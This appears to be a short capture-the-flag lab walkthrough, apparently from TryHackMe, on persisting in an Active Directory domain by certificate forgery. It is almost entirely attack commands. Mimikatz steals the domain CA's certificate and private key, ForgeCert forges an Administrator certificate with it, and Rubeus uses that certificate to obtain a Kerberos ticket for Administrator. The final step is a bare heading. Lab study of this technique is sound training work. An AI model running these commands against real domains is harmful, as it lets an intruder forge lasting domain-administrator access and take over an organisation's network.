Persistence on the Domain
mimikatz # crypto::certificates /systemstore:local_machinemimikatz # privilege::debugmimikatz # crypto::capimimikatz # crypto::certificates /systemstore:local_machine /export
Step 2: Generate Custom Certificates
C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123Step 3: Obtain a Ticket-Granting Ticket (TGT)
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>Step 4: Use the TGT
Last updated